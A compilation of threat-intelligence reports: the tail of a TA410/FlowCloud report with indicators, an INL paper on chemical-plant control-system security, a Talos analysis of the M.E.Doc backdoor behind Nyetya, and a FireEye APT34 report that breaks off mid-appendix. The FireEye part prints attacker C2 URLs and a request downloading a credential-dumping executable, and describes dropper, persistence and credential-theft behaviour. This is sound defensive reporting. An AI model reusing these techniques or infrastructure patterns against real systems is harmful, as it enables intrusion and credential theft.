malware families demonstrate a level of sophistication in their conception and development while the extensible code base of FlowCloud malware suggests that this group may have been operating as early as 2016. TA410 operators demonstrate a willingness to dynamically evolve phishing tactics to increase the effectiveness of their campaigns and a keen eye towards plausible social engineering within a very select targeted sector. It remains unclear if the nature of the tactics and indicators that are shared with TA429 (APT10) were developed by this group or culled from readily available technical reporting that predated these campaigns. The possibility remains that these overlaps represent intentional false flag efforts to cloak the identity of these perpetrators while they targeted a critical and geo-politically sensitive sector of energy providers in the U.S. Regardless of the actor’s intention, TA410 has established itself as a motivated actor with mature toolsets carrying out long-term campaigns against highly important and geographically concentrated target sets. ## Indicators of Compromise (IOCs) | IOC | IOC Type | |---------------------------------------------------------------------|----------| | faa80e0692ba120e38924ccd46f6be3c25b8edf7cddaa8960fe9ea632d-c4a045 | SHA256 | | b7960d1f40b727bbea18a0e5c62bafcb54c9ec73be3e69e787b7ddafd2aae364 | SHA256 | | 26eb8a1f0bdde626601d039ea0f2c92a7921152371bafe5e811c6a1831f071ce | SHA256 | | cd8f877c9a1c31179b633fd74b-d5050e4d48eda29244230348c6f84878d0c33c | SHA256 | | e4ad5d3213425c58778d8a0244d-f4cd99c748f58852d8ac71b46326efd5b3220 | SHA256 | | 589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2e-b878b4 | SHA256 | | 1334c742f2aec7e8412d76ba228b99935a49dc96a1e8e1f3446d9f61247ae47e | SHA256 | | de30929ef958211f9315e27a7aa45ef061726a76990ddc6b9d9f189b9fbdd45a | SHA256 | | 0b013ccd9e10d7589994629aed18ffe2388cbd745b5b28ab39c07835295a1-ca9 | SHA256 | | 479954b9e7d5c5f7086a2a1ff1dba99de2eab2e1b1bc75ad8f3b211088eb4ee9 | SHA256 | | d5191327a984fab990bfb0e811688e65e9aaa751c3d93-fa92487e8a95cb2eea8 | SHA256 | | 0701cc7eb1af616294e90cbb35c99fa2b29d2aada9fcbdcdaf578b3fcf9b56c7 | SHA256 | | 27f5df1d35744cf283702fce384ce8cfb2f240bae5d725335ca1b90d6128bd40 | SHA256 | | 13e761f459c87c921dfb985cbc6489060eb86b4200c4dd99692d6936de8d-f5ba | SHA256 | | 2481fd08abac0bfefe8d8b1fa3beb70f8f9424a1601aa08e195c0c14e1547c27 | SHA256 | | 188.131.233[.]27 | IP | | 118.25.97[.]43 | IP | | 34.80.27[.]200 | IP | | 134.209.99[.]169 | IP | | 101.99.74[.]234 | IP | | Asce[.]email | Domain | | powersafetrainings[.]org | Domain | | mails.daveengineer[.]com | Domain | | powersafetraining[.]net | Domain | | mails.energysemi[.]com | Domain | | www.mails.energysemi[.]com | Domain | | www.powersafetraining[.]net | Domain | | www.powersafetrainings[.]org | Domain | | ffca.caibi379[.]com | Domain | | http://ffca.caibi379[.]com/rwjh/qtinfo.txt | URL | | https://www.dropbox[.]com:443/s/ddgifm4ityqwx60/Cert.pem?dl=1 | URL | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\2 | Registry Key | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\3 | Registry Key | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\4 | Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{2DB80286-1784-48b5-A751-B6ED1F490303} | Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{804423C2-F490-4ac3-BFA5-13DEDE63A71A} | Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027} | Registry Key | | G:\FlowCloud\trunk\Dev\src\fcClient\Release\QQSetupEx_func.pdb | File Path | | g:\FlowCloud\trunk\Dev\src\fcClient\Release\fcClientDll.pdb | File Path | | F:\FlowCloud\trunk\Dev\src\fcClient\kmspy\Driver\Release\Driver.pdb | File Path | | F:\FlowCloud\trunk\Dev\src\fcClient\kmspy\Driver\x64\Release\Driver.pdb | File Path | ## ET and ETPRO Suricata/SNORT Signatures 2837783 ETPRO TROJAN Win32/LookBack CnC Activity
# Process Control Systems in the Chemical Industry: Safety vs. Security **Jeffrey Hahn, Donna Post Guillen, Thomas Anderson** Idaho National Laboratory, Control Systems Security and Test Center Idaho Falls, Idaho ## ABSTRACT Traditionally, the primary focus of the chemical industry has been safety and productivity. However, recent threats to our nation’s critical infrastructure have prompted a tightening of security measures across many different industry sectors. Reducing control system vulnerabilities against physical and cyber attack is necessary to ensure the safety, reliability, integrity, and availability of these systems. The U.S. Department of Homeland Security has developed a strategy to secure these vulnerabilities. Crucial to this strategy is the Control Systems Security and Test Center (CSSTC) established to test and analyze control systems and their components. In addition, the CSSTC promotes a proactive, collaborative approach to increase industry’s awareness of standards, products, and processes that can enhance the security of control systems. This paper outlines measures that can be taken to enhance the cybersecurity of process control systems in the chemical sector. ## 1. INTRODUCTION Evidences of safe working environments and practices and secure working places are found in almost every chemical plant. The evidence for cybersecurity is not as readily apparent. However, keeping computers and networks free from viruses and hackers (and available for productive use) is just as important as keeping thieves and terrorists out of the plant. The purpose of this paper is to establish the need for cybersecurity for the chemical industry and to identify the common vulnerabilities of control systems. ## 2. DISCUSSION ### The Safety Mind-Frame Security, like safety, must be an integral part of any chemical process. Operating procedures are developed with the safety of workers, the public, and our environment in mind. Equipment is designed with safety in mind. The proper protective equipment is worn with safety in mind. Physical security surrounds the chemical plant. “Guards, gates, and guns” are used to ensure the environment is safe for the workers. It protects the documents and processes that are business sensitive and classified. The right people are let through the guard gate and the wrong people are kept out. Both physical security and cybersecurity are put in place with safety in mind. Cybersecurity protects control systems to keep the chemical processes working safely and efficiently. It ensures the data are not compromised. It keeps the computer viruses, worms, Trojans, etc. from infecting the computers on the network and from affecting the control systems. It lets the right people access the controls and information and keeps the wrong people off the controls denying them access to sensitive and proprietary information and out of the network. ### Cybersecurity – Is the Threat Real? Cybersecurity threats are real and they happen every day to people in all walks of life. With the modernization of control system equipment, more systems are interconnected and, more importantly, more systems are linked at some level to the internet. With each additional connection comes one more doorway by which a hacker, curious or malicious, can enter. Additionally, the control system networks are becoming more public. Operations within a chemical or electrical have traditionally been closed and little was known about them to the outsider. Last year at one of the principal cyber forums in this country, a hacker gave a presentation on control systems. Interest and curiosity is rising along with the visibility. Cyber attacks can slow the computer’s response and the network's speed or bring everything to a complete halt, causing a denial of service. Cyber attacks can also cause unwanted and unexpected results. In the world of chemical processing where efficiency is critical to making a profit, an undetected cyber attack can slow the process and reduce the efficiency of the plant. An article from the Rand Corporation stated, “Attacks in cyberspace blur traditional boundaries between nations and private interests, cannot be foreseen or tracked via classical intelligence methods, and are all but indistinguishable from accidents, system failures or even hacker pranks.” The critical infrastructure of the United States provides many lucrative targets. A well-known example of a cyber attack that had disastrous results occurred in Australia. A contractor who had been instrumental in installing the network for a waste management company “caused millions of litres of raw sewage to spill out into local parks, rivers, and even the grounds of a Hyatt Regency hotel. Marine life died, the creek water turned black and the stench was unbearable for residents.” A series of cyber attacks had been occurring for at least 2 months before the waste management company learned what was happening and identified the source of the trouble. In January 2003, the slammer worm caused the Internet to slow down to a crawl. The Bank of America reported “that customers at a majority of its 13,000 automatic teller machines were unable to process customer transactions.” It is not hard to imagine how a chemical process could become paralyzed if a similar worm were to infect their network system. The CERT Coordination Center has kept statistics on the number of incidents that have been reported to them between 1988 and 2003. The number of cybersecurity incidents reported each year has been rising rapidly. In 1999, there were about 10,000 incidents reported. In 2003, there were almost 140,000 incidents reported. This exponential increase in incidents demonstrates another interesting and important fact. There are more and more people who are proliferating cyber attacks. The cyber attacks are becoming more and more sophisticated yet the average person’s knowledge required to spawn an attack is actually being reduced. One of the major reasons for this is because the internet has enabled hackers to share their experiences and techniques and obtain tools. For example, a New Jersey man was charged with computer criminal activity and attempted criminal activity for placing spyware on his landlord’s computer to see how she was going to proceed collecting a $10,000 judgment from him. A service provider verified that the spyware came from his email address. He is currently out on $30,000 bail. ### Threats More Complex as Attackers Proliferate Cyber threats are real. Cyber attacks come from a wide variety of sources including viruses/worms/trojans/etc., an insider or a disgruntled employee, neighborhood hackers, industrial espionage, and terrorists. Reconnaissance is typically a pre-cursor to an attack. All of the above-mentioned sources can cause problems with control systems. However, some of these sources have the intent to create problems on a very large scale. Two examples are noteworthy. First, the Washington Times reported that “China is actively developing options to create chaos on the island, to compromise components of Taiwan’s critical infrastructure.” Then Media Corp News reported that “North Korea has trained more than 500 computer hackers capable of launching cyber warfare against the United States. The Military hackers had been put through a five-year university course training them to penetrate the computer systems of South Korea, the United States, and Japan.” The U.S. Department of Homeland Security (DHS) has an objective to “create a national-level capability to coordinate between government and industry to reduce vulnerabilities and respond to the threats associated with the control systems that comprise our National Critical Infrastructure.” The mission of the DHS National Cyber Security Division is to be the focal point for addressing cyber security issues in the United States. In order to accomplish that mission, the DHS National Cyber Security Division has established the Control System Security and Test Center (CSSTC). The CSSTC is working to identify, analyze, and eliminate vulnerabilities associated with the control systems in critical infrastructure applications. A major effort is being made to increase awareness of the need for cybersecurity and what to do to reduce vulnerabilities in control systems. Taking action to reduce or eliminate a vulnerability will reduce the probability of a successful cyber attack. There are common things that any company can do to reduce the vulnerabilities in their control system. Below are the top 10 vulnerabilities commonly found within control systems. ### Top 10 Vulnerabilities in Control Systems 10. Insufficient network separation (protection) between corporate and real-time control systems. The corporate and process control networks should be separated by a properly configured firewall. The architecture of the network is essential to good cybersecurity. 9. Security efforts focused solely on corporate internet interface point. When the IT organization assumes that if the corporate network is protected then the rest of the control system is protected, it leaves the process control network open for attack. Some of the best and most secure networks have been compromised by an employee bringing in a laptop with an embedded Trojan or Worm, connecting to the production network and introducing the malicious code. Therefore, practicing defense in depth is an essential cybersecurity practice. 8. Remote access to the process control LAN not properly secured. Many control systems have modems or wireless access. These communication points need to be secured with, for example, encryption or passwords. Equipment vendors frequently leave open ports for remote maintenance of equipment. 7. Dual-Network cards installed and in use, bridging the two networks. If a single computer has direct access to both the corporate and process control networks through separate network cards, a hacker can bypass the firewall. This can include remote communications when the remote user connects through a commercial ISP service. 6. Null-Session Authentication, shared folders, and “everyone” permissions defeat any internal IT controls. Everyone needs to be trained on good cybersecurity practices. These commonly found security “no-no’s” are primarily used for exploiting a system once access is gained. The fewer internal access controls are in place, the easier it is for a successful penetration to turn into a successful exploitation. 5. Process LAN and associated systems easy to find by obvious PC name. If a hacker can make it into the process control network, it only makes life easier for them if they can easily recognize the names of the equipment, instrumentation, and controllers. There are many instances of people making life easier by naming their systems with critical information, i.e., Firewall1, Primary DNS, Historian, or History1. 4. No outbound filtering of data. Data needs to be filtered as it exits the process control network as well as filtering the data stream as it enters. The only way to know what is being transferred into and out of your network is to look at the data. Know which systems should be talking to which systems and look for anomalies. 3. Workstations/Servers running process control applications not properly patched. Nearly every critical exploit for the past several years has had an existing patch. Patches are created by the vendor to make their system work better and operate more securely. Keep your anti-virus software updated, too. Patching in control systems is not easy. We must test, retest, and then carefully examine both the need and the net gain. If equal protection or mitigation can be gained another way for the short term, then use it while you plan and patch. 2. Policies either not in place, not followed, inadequate, or not enforced (password, backup/restore, etc.). Even the best training program and the best network architecture will be defeated if the company policies are inadequate or not enforced. Passwords have been found taped to the system, under the keyboard, in a file on the system named “Passwords” or “psswd” and even shared with coworkers. 1. Social engineering (i.e., human factors) and physical security extremely weak. Your friendly industrial espionage agent will tell you that a few secrets learned through social engineering or by gaining access to the network system will make the hackers’ job infinitely easier. An effective counterintelligence or Operations Security program and strict adherence to policies and procedures are essential. ## 3. CONCLUSION Cybersecurity is critical to success in today’s business world. It helps defend against cyber attack on control systems for both the casual and the malicious intruder as well as industrial espionage. Cyber attacks are a reality in today’s world, and critical infrastructures are increasingly the target. The number of cyber incidences and the sophistication of the attacks have dramatically increased. Companies can defend themselves against these attacks by reducing their process control network vulnerabilities and following good security practices and procedures. Critical infrastructures, such as the chemical industry, need to be proactive and protect their assets from potential cyber attacks and to ensure the safety of workers, the public, and our environment. ## 4. ACKNOWLEDGEMENTS This work was performed for the Department of Homeland Security under a Work For Others Agreement under DOE-NE Idaho Operations Office Contract DE-AC07-05ID14517.
# The MeDoc Connection **This Post Authored by David Maynor, Aleksandar Nikolic, Matt Olney, and Yves Younan** ## Summary The Nyetya attack was a destructive ransomware variant that affected many organizations inside of Ukraine and multinational corporations with operations in Ukraine. In cooperation with Cisco Advanced Services Incident Response, Talos identified several key aspects of the attack. The investigation found a supply chain-focused attack at M.E.Doc software that delivered a destructive payload disguised as ransomware. By utilizing stolen credentials, the actor was able to manipulate the update server for M.E.Doc to proxy connections to an actor-controlled server. Based on the findings, Talos remains confident that the attack was destructive in nature. The effects were broad reaching, with Ukraine Cyber police confirming over 2000 affected companies in Ukraine alone. ## Details For Talos, June 27th, 2017, started with a message from our intelligence partners in Ukraine. A massive ransomware attack was underway, and they were asking for help. An organized attacker had the means to deliver arbitrary code to users of the most popular accounting software in Ukraine, including multinational corporations that do business there. The actor in question chose to use this capability to encrypt critical files and hard drives, with no way to decrypt the software. Since the BlackEnergy attacks of late 2015, Talos has worked with public and private organizations in Ukraine to respond to attacks in the region. Once already this year, Talos has assisted organizations targeted by actors with destructive intent. Interestingly, in those cases a wiper very similar to prior BlackEnergy malware was deployed and, when that was blocked by our Advanced Malware Protection (AMP) product, the actor fell back to using a ransomware variant in an attempt to disrupt the organization’s activities. With this recent history in mind, we were immediately concerned that there was more to this story than just another ransomware attack. Early on it became clear that, while a majority of the early events were in Ukraine, the malware was infecting organizations that didn’t immediately have any known connection to the country. Because of the scale of the event, Talos initiated an internal response management system called TaCERS (Talos Critical Event Response System) and began the research and response process. TaCERS divides up activities into intelligence, telemetry analysis, reverse engineering, communications, and detection research. Talos researchers and engineers from around the world came together to address this threat. Based on endpoint telemetry, it was clear that a Ukrainian accounting software package called “M.E.Doc” was at the center of activity. Like WannaCry, there were reports of an email vector. This is most likely because some of the earliest infected machines had concurrent Lokibot infections with indications of an email vector for that malware. After careful research, Talos concluded that for the delivery of the Nyetya malware, all installations came through the M.E.Doc update system. M.E.Doc is a widely deployed accounting package created by a Ukrainian company named Intellect Service and is used to interact with Ukrainian tax systems. At this point, we were in a position to reach out to M.E.Doc directly and offer assistance. M.E.Doc was quick to accept an offer of assistance. As part of Cisco’s global response to this event, two incident response specialists from the Advanced Services group arrived in Ukraine on the evening of June 29th, and an additional incident response specialist supported the investigation from the UK. M.E.Doc was exceptionally open in arranging access to engineers and administrators who walked the team through the system and provided access to log files and code. They also agreed to share the results of our investigation for the purposes of this report. In every Cisco incident response investigation, anywhere in the world, a dedicated Talos resource is made available to the incident response team to coordinate intelligence analysis, reverse engineering escalations, and telemetry analysis activities. The two teams work together constantly, and that experience was put to full use in this investigation. Early in the investigation, a web shell was discovered at `http://www.me-doc.com.ua/TESTUpdate/medoc_online.php`. The timestamp in the file was May 31, 2017. Our analysis shows the web shell to be a slightly modified version of the open-source PHP web shell PAS. The web shell is stored in an encrypted form and requires a passphrase set in an HTTP POST variable to decrypt. The decryption of the shell shows a fully featured PAS web shell. As the incident response team extracted logs and additional forensic data, it was uploaded to Talos. This started a 24-hour cycle where at around 10 am EDT, when it was evening in Ukraine, the Cisco incident response team would brief Talos on their findings and new data. Then at 3 am EDT, as Ukraine was getting to work, Talos would brief the Cisco incident response team on their overnight findings. Almost immediately, indications of problems were found. In the July 1st briefing, Talos identified key evidence in the logs: ``` 8:57:46 usc-cert sshd[23183]: subsystem request for sftp 8:59:09 usc-cert su: BAD SU to root on /dev/pts/0 8:59:14 usc-cert su: to root on /dev/pts/0 9:09:20 [emerg] 23319#0: unknown directive "" in /usr/local/etc/nginx/nginx.conf:3 9:11:59 [emerg] 23376#0: location "/" is outside location "\.(ver|txt|exe|upd|rtf|cmnt)$" in /usr/local/etc/nginx/nginx.conf:136 ``` An unknown actor had stolen the credentials of an administrator at M.E.Doc. They logged into the server, acquired root privileges, and then began modifying the configuration file for the NGINX web server. We were unable to recover the nginx.conf file, as it was subsequently overwritten, but additional log files were important in understanding what was changed. What we found were thousands of errors that looked like this: ``` [error] 23401#0: *374685644 upstream timed out (60: Operation timed out) while connecting to upstream, client: <REDACTED>, server: upd.me-doc.com.ua, request: "GET /last.ver?rnd=1b2eb092215b49f5b1d691b5c38e3a74 HTTP/1.1", upstream: "http://176.31.182[.]167:80/last.ver?rnd=1b2eb092215b49f5b1d691b5c38e3a74", host: "upd.me-doc.com.ua" ``` The NGINX server had been reconfigured so that any traffic to upd.me-doc.com.ua would be proxied through the update server and to a host in the OVH IP space with an IP of 176.31.182.167. Subsequent investigation found that this server was operated by a reseller, thcservers.com, and that the server had been wiped the same day at 7:46 PM UTC. When we compare the time of the first and last upstream error messages on the server to our in-field endpoint telemetry, we find that they bracket the beginning and the end of the active infection phase of the event. The initial log message was at 9:11:59 UTC and the last message was seen at 12:31:12 UTC. In our telemetry, we see no new organizations infected outside of this timeframe. We found one other piece of forensic evidence showing that the event concluded on or around 12:30 PM UTC. The file timestamp for nginx.conf at the time we analyzed the servers was June 27th, 12:33 PM UTC. The actor had returned the NGINX configuration to its original state at this time. There is only one other indicator to share, which was a Latvian IP address that disconnected from the system at 2:11:07 PM UTC: ``` Received disconnect from 159.148.186.214: 11: FlowSshClientSession: disconnected on user's request ``` M.E.Doc confirms that neither the OVH server nor the Latvian IP address have any association with M.E.Doc. At this point, we understood that the actor in question had access to much of the network and many of the systems of M.E.Doc through compromised credentials. The questions remaining were: What were they doing with control of the upgrade server? How were they delivering the malicious software? While we didn’t know it at the time, we can now confirm ESET’s research into the backdoor that had been inserted into the M.E.Doc software. The .net code in ZvitPublishedObjects.dll had been modified on multiple occasions to allow for a malicious actor to gather data and download and execute arbitrary code: | Date | M.E.Doc Update Version | |--------------|-------------------------------| | 4/14/2017 | 10.01.175-10.01.176 | | 5/15/2017 | 10.01.180-10.01.181 | | 6/22/2017 | 10.01.188-10.01.189 | Looking further back in the logs provided by M.E.Doc, we could see the same “upstream” activity on June 22nd. Unfortunately, we do not have logs available for May or April, but it is reasonable to assume similar behavior occurs back through those dates as well. ## Timeline ### ZvitPublishedObjects.dll Backdoor Analysis The backdoor was added to the ZvitPublishedObjects.Server.UpdaterUtils.IsNewUpdate function in ZvitPublishedObjects.dll. Between lines 278 and 279, we can see on the left that code was added to retrieve every organization’s EDRPOU and name. Then it creates a new MeCom object and a thread for it which will contact `http://upd.me-doc.com.ua/last.ver?rnd=<GUID>` every 2 minutes. It will also send any replies to this URL. If a proxy has been configured, when the MeCom object is created at line 288, it proceeds to retrieve the proxy’s host, port, username, and password. It then retrieves the SMTP host, username, password, and email address for every organization in the application’s database. It also writes the previously collected proxy info to a registry key: `HKCU\SOFTWARE\WC`. It stores the proxy username and password in the “Cred” subkey and the full proxy information in “Prx”. At line 294 in IsNewUpdate is a call to meCom.CreateMeainThread. The code creates a thread that performs the “MainAction.” This thread will continuously query the request URL (`http://upd.me-doc.com.ua/last.ver?rnd=<GUID>`) looking for commands and will then start a new thread per command to execute, waiting a maximum of 10 minutes for the thread to complete. It will then send back the result of the thread to the response URL, which in this case is the same as the request URL: `http://upd.me-doc.com.ua/last.ver?rnd=<GUID>`. The GetCommandsAndPeriod function will retrieve the commands from the web request. When sending the request, it will pass along in cookies the EDRPOU and the username that the program is running as. From the response, it will read the first 8 bytes as the initialization vector for the encryption. The rest of the data is encrypted with the TripleDes using a 24-character key: \x00 to \x17 (i.e., characters 0 to 23). It will decrypt, decompress, and deserialize the commands it has to execute. It will also retrieve information on how long it should wait until the next time it goes to ask for commands (this was originally set to 2 minutes when the object was created). SendAnswer will send multiple web requests with a maximum of 2048 bytes each, with the result of the executed command stored in cookies. It will encrypt this data the same way as the received commands, using a random 8-byte IV and the 24-character key 0-23. These are the encryption and decryption functions. Finally, the Worker object (see Line 372 of MainFunction) handles executing the commands. There are a total of 6 commands that Worker can execute. This appears to be the mechanism used for delivering the Nyetya malware. The command line arguments perfectly match what was observed in endpoint telemetry when M.E.Doc machines executed the initial sample. ## What Now? First, we need to put together everything we know. In the past, Talos has observed an actor specifically targeting Ukrainian institutions attempt to use the BlackEnergy wiper malware and, when that attempt was blocked, fall back to using a ransomware variant as an acceptable replacement for a wiper. We’ve also already documented in our previous blog that “Given the circumstances of this attack, Talos assesses with high confidence that the intent of the actor behind Nyetya was destructive in nature and not economically motivated.” Finally, now that we can confirm that M.E.Doc was the installation vector, we can assess that the targets for this attack were Ukraine and those organizations that chose to conduct business with Ukraine. Our Threat Intelligence and Interdiction team is concerned that the actor in question burned a significant capability in this attack. They have now compromised both their backdoor in the M.E.Doc software and their ability to manipulate the server configuration in the update server. In short, the actor has given up the ability to deliver arbitrary code to the 80% of UA businesses that use M.E.Doc as their accounting software, along with any multinational corporations that leveraged the software. This is a significant loss in operational capability, and the Threat Intelligence and Interdiction team assesses with moderate confidence that it is unlikely that they would have expended this capability without confidence that they now have or can easily obtain similar capability in target networks of highest priority to the threat actor. Based on this, Talos is advising that any organization with ties to Ukraine treat software like M.E.Doc and systems in Ukraine with extra caution since they have been shown to be targeted by advanced threat actors. This includes providing them a separate network architecture, increased monitoring and hunting activities in those at-risk systems and networks, and allowing only the level of access absolutely necessary to conduct business. Patching and upgrades should be prioritized on these systems, and customers should move to transition these systems to Windows 10, following the guidance from Microsoft on securing those systems. Additional guidance for network security baselining is available from Cisco as well. Network IPS should be deployed on connections between international organizations and their Ukrainian branches, and endpoint protection should be installed immediately on all Ukrainian systems. Talos places this attack in the supply-chain category. Rather than targeting organizations directly, an actor compromises trusted hardware and software vendors to deliver compromised assets to a high-priority environment. We believe that these types of malicious capabilities are highly desired by sophisticated actors. All vendors, regardless of size or geographic region, must be increasingly vigilant. ## Indicators of Compromise **SHA256** M.E.Doc ZvitPublishedObjects.dll files with backdoor: - f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740 - d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac - 2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277 Nyetya Malware: - 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 - 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f - eae9771e2eeb7ea3c6059485da39e77b8c0c369232f01334954fbac1c186c998 **Malicious IP Addresses:** - 176.31.182[.]167 - 159.148.186[.]214 **AMP Coverage** - W32.Ransomware.Nyetya.Talos - W32.F9D6FE8BD8.Backdoor.Ransomware.Nyetya.Talos - W32.D462966166.Backdoor.Ransomware.Nyetya.Talos - W32.2FD2863D71.Backdoor.Ransomware.Nyetya.Talos - W32.02EF73BD24-95.SBX.TG - W32.GenericKD:Petya.20h1.1201
# Hard Pass: Declining APT34’s Invite to Join Their Professional Network ## Background With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests. ## FireEye Identifies Phishing Campaign In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign: 1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents. 2. The usage of LinkedIn to deliver malicious documents. 3. The addition of three new malware families to APT34’s arsenal. FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang. APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities. Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity, and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33. ## Industries Targeted The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries: - Energy and Utilities - Government - Oil and Gas ## Utilizing Cambridge University to Establish Trust On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step. The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF. A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post. Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download. Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts began with the solicitation of resumes for potential job opportunities. This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions. FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes: - 96feed478c347d4b95a8224de26a1b2c - caf418cbf6a9c4e93e79d4714d5d3b87 A snippet of the VBA code creates System.doc in the target directory from base64-encoded text upon opening. The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server of offlineearthquake[.]com over port 80. ## The FireEye Footprint: Pivots and Victim Identification After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2. Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures: - hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000 - hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000 - hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000 - hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000 The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post. FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure: ``` GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko) Host: offlineearthquake[.]com Proxy-Connection: Keep-Alive Pragma: no-cache ``` FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT. VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively. PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34. ## Conclusion The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware. We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses and remember to view their environment holistically when it comes to information security. ## Malware Appendix ### TONEDEAF TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command 